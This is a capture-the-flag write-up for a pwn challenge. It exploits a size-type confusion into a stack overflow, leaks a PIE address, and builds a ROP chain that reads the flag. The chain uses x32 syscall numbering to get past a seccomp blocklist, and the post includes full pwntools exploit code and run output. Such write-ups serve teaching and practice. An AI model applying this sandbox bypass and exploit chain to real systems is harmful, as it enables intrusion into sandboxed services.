Points: 631 Solves: 15 Last year some dirty hackers found a way around my guessing challenge, well I patched the issue. Can you guess again?

Attachment: gissa_igen xpl.py

 ▄▄█████████ ▄█████████ ▄▄█████████ ▄▄█████████ ▄▄████████▄ ▄████████▄ ▄▄████████▄
 ████▀▀▀▀▀▀▀ ▀▀▀████▀▀▀ ████▀▀▀▀▀▀▀ ████▀▀▀▀▀▀▀ ████▀▀▀████ ▀▀▀▀▀▀████ ███▀▀▀▀████
 ████ ▄▄▄▄▄     ████    ████▄▄▄▄▄▄  ████▄▄▄▄▄▄  ████▄▄▄████  ▄▄▄▄▄███▀ ▀▀▀ ▄▄▄███▀
 ████ ▀▀████    ████    ▀▀▀▀▀▀▀████ ▀▀▀▀▀▀▀████ ████▀▀▀████ ████▀▀▀▀▀     ████▀▀▀
 ████▄▄▄████ ▄▄▄████▄▄▄ ▄▄▄▄▄▄▄████ ▄▄▄▄▄▄▄████ ████   ████ ████▄▄▄▄▄▄    ▄▄▄▄
 ███████████ ██████████ ██████████▀ ██████████▀ ████   ████ ██████████    ████
 ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀   ▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀    ▀▀▀▀

How good are you at guessing flags?

flag (1/3): 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000055  if (A != creat) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW

So, the binary lets us guess the flag, and we have three tries to get it right.

When reversing the binary, you’ll quickly see, that it uses to seccomp to blacklist some syscalls, which might make it harder to exploit the binary later on.

int main(int argc, const char **argv, const char **envp)
{
  char buffer[140]; 
  __int16 len_input = 139;
  unsigned __int16 current_try; 
  
  current_try = 0;
  
  init_app_and_seccomp();
  write(1, "How good are you at guessing flags?\n\n", 37);
  null_terminate(buffer, 139);

  for ( i = 1; i <= current_try + 3; ++i )
  {
    write(1, "flag (", 6);
    show_flag_count(i - current_try);
    write(1, "/3): ", 5);
    if (read_user_input(buffer, (signed int *) &len_input, &current_try) > 0)
        break;    
  }
  cleanup();
  return 0;
}

The for loop looks pretty suspicious in the way it compares the count of tries.

Taking a closer look at len_input and current_try, it occurs that both are 16 bit values, but when read_user_input is called, len_input will be casted to an int (32 bit). This will become handy in a moment.

read_user_input will read size bytes into buffer and then compares its content to the flag, which is mmapped to a memory region while the app is running. Though this mmapped region can completely be ignored, since it will be cleared and unmapped when we leave the for loop. Don’t think it’s possible to read the flag from there at all, but in the end we won’t need to do that anyways.

Only thing worth noting, is that if we don’t give any input at all current_try will be increased, without losing a try.

Let’s check what happens to len_input instead, when we try multiple times to guess the flag.

flag (1/3): ─────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdcc8  →  0x0000000000000000
$rbx   : 0x0               
$rcx   : 0x00007fffffffdd54  →  0x000000000000008b
$rdx   : 0x00007fffffffdd56  →  0x0000000000000000
$rsp   : 0x00007fffffffdcc0  →  0x0000555555554b61  →   cdqe 
$rbp   : 0x0               
$rsi   : 0x00007fffffffdd54  →  0x000000000000008b   <== current_try / len_input
$rdi   : 0x00007fffffffdcc8  →  0x0000000000000000
$rip   : 0x000055555555491e  →   sub rsp, 0x48
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0000555555554c47  →   ret 
$r11   : 0x246             
$r12   : 0x0000555555554bb7  →   sub rsp, 0x18
$r13   : 0x00007fffffffdd90  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555554914                  add    BYTE PTR [rbx+0x481c2444], cl
   0x55555555491a                  add    esp, 0x28
   0x55555555491d                  ret    
 → 0x55555555491e                  sub    rsp, 0x48
   0x555555554922                  mov    QWORD PTR [rsp+0x18], rdi
   0x555555554927                  mov    QWORD PTR [rsp+0x10], rsi
   0x55555555492c                  mov    QWORD PTR [rsp+0x8], rdx
   0x555555554931                  lea    rax, [rip+0x2016c8]        # 0x555555756000
   0x555555554938                  mov    rax, QWORD PTR [rax]

Breakpoint 1, 0x000055555555491e in ?? ()
gef➤  

rdi contains 0x8b, which means, we can input 139 chars, exactly what we would expect from the previous source code.

If we now just send an empty string, current_tries will be increased by one, and we get back into read_user_input.

$rax   : 0x00007fffffffdd38  →  0x0000000000000000
$rbx   : 0x0               
$rcx   : 0x00007fffffffddc4  →  0x000000000001008b
$rdx   : 0x00007fffffffddc6  →  0x0000000000000001
$rsp   : 0x00007fffffffdd30  →  0x0000555555554b61  →   cdqe 
$rbp   : 0x0               
$rsi   : 0x00007fffffffddc4  →  0x000000000001008b <= current_tries / len_input
$rdi   : 0x00007fffffffdd38  →  0x0000000000000000
$rip   : 0x000055555555491e  →   sub rsp, 0x48
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0000555555554c47  →   ret 
$r11   : 0x246             
$r12   : 0x0000555555554bb7  →   sub rsp, 0x18
$r13   : 0x00007fffffffde00  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555554914                  add    BYTE PTR [rbx+0x481c2444], cl
   0x55555555491a                  add    esp, 0x28
   0x55555555491d                  ret    
 → 0x55555555491e                  sub    rsp, 0x48
   0x555555554922                  mov    QWORD PTR [rsp+0x18], rdi
   0x555555554927                  mov    QWORD PTR [rsp+0x10], rsi
   0x55555555492c                  mov    QWORD PTR [rsp+0x8], rdx
   0x555555554931                  lea    rax, [rip+0x2016c8]        # 0x555555756000
   0x555555554938                  mov    rax, QWORD PTR [rax]

rdi now contains 0x1008b (16 bits current_tries and 16 bits from len_input), which means we can now read 65675 into buffer (which is only 140 chars big), so we have a nice buffer overflow at hand.

With this, we can now overflow into current_tries and len_input itself, setting them to arbitrary values. But since the binary has pie enabled, we need some leaks first.

read_user_input will read either exactly len_input characters or we have to end the input with a newline, which will get replaced with a null byte. So in order to align our buffer poperly to leak the return address, we first have to overwrite len_input with the exact offset of the return address. Then we can send another string to fillup the buffer, so it will exactly end where the return address starts (0xa0), and then we can easily leak it, since the binary will tell us, that our input was wrong.

#!/usr/bin/python
from pwn import *
import sys

HOST = "gissa-igen-01.play.midnightsunctf.se"
PORT = 4096

def exploit(r):
    log.info("Send empty try to increase input size")
    r.recvuntil("): ")
    r.sendline("")

    log.info("Overwrite size with 0xa0 to align it with return address after next read")
    payload = "\xff"*140
    payload += p16(0xa0)
    payload += p16(0x0)

    r.sendline(payload)
    r.recvuntil("): ")

    log.info("Overwrite buffer, so it gets aligned with return address")
    payload = "\xff"*140
    payload += p16(0xffff)
    payload += p16(0xffff)
    payload += "\xff"*(0xa0-len(payload))

    r.send(payload)
    r.recvuntil("): ")
    r.recv(160)
  
    PIELEAK = u64(r.recv(6).ljust(8, "\x00"))
    e.address = PIELEAK - 0xbb7
  
    log.info("PIELEAK       : %s" % hex(PIELEAK))
    log.info("BASE          : %s" % hex(e.address))
  
    r.recvuntil(": ")
    r.recvuntil(": ")
  
    r.interactive()
  	
    return

if __name__ == "__main__":
    e = ELF("./gissa_igen")
  
    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
        exploit(r)
    else:
        r = process("./gissa_igen")
        print util.proc.pidof(r)
        pause()
        exploit(r)
$ python xpl.py 
[!] Did not find any GOT entries
[*] '/home/kileak/ctf/midnight/gissa/gissa_igen'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './gissa_igen': pid 20118
[20118]
[*] Paused (press any to continue)
[*] Send empty try to increase input size
[*] Overwrite size with 0xa0 to align it with return address after next read
[*] Overwrite buffer, so it gets aligned with return address
[*] PIELEAK       : 0x555555554bb7
[*] BASE          : 0x555555554000

With the base address we can now calculate the addresses of all rop gadgets needed to open and read the flag again, after it was removed by the binary.

SYSCALL = e.address + 0xbd9
POPRAXRDIRSI = e.address + 0xc21
POPRDX98RDIRSI = e.address + 0xc1d

With these gadgets we can easily write a open/read/write chain to exfiltrate the flag.

But this will fail, since seccomp is active, which blacklisted open, openat, execve and execveat.

After searching for some other syscalls to use to read the flag instead, I remembered a nifty way to get around blacklisted syscalls.

payload = "A"*168

# open("/home/ctf/flag", 0)
payload += p64(POPRAXRDIRSI)
payload += p64(0x40000002)
payload += p64(next(e.search("/home/ctf/flag")))
payload += p64(0x0)	
payload += p64(SYSCALL)

# read(0, e.bss()+100, 100)
payload += p64(POPRAXRDIRSI)
payload += p64(0)
payload += p64(3)
payload += p64(e.bss()+100)
payload += p64(POPRDX98RDIRSI)
payload += p64(100)
payload += p64(0)
payload += p64(0)
payload += p64(3)
payload += p64(e.bss()+100)
payload += p64(SYSCALL)

# write(1, e.bss()+100, 100)
payload += p64(POPRAXRDIRSI)
payload += p64(1)
payload += p64(1)
payload += p64(e.bss()+100)
payload += p64(SYSCALL)

r.sendline(payload)

r.interactive()

Using syscall 0x40000002 will also result in calling open, but seccomp will fail to catch it, thus rewarding us with the flag :)

$ python xpl.py 1
[!] Did not find any GOT entries
[*] '/home/kileak/ctf/midnight/gissa/gissa_igen'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to gissa-igen-01.play.midnightsunctf.se on port 4096: Done
[*] Send empty try to increase input size
[*] Overwrite size with 0xa0 to align it with return address after next read
[*] Overwrite buffer, so it gets aligned with return address
[*] PIELEAK       : 0x555fdbc7abb7
[*] BASE          : 0x555fdbc7a000
[*] Send ropchain to open file and read it again
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!\xac��_ is not right.
midnight{I_kN3w_1_5H0ulD_h4v3_jUst_uS3d_l1B5eCC0mP}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00timeout: the monitored command dumped core
/home/ctf/redir.sh: line 4: 11728 Segmentation fault      timeout -k 120 120 ./chall
[*] Got EOF while reading in interactive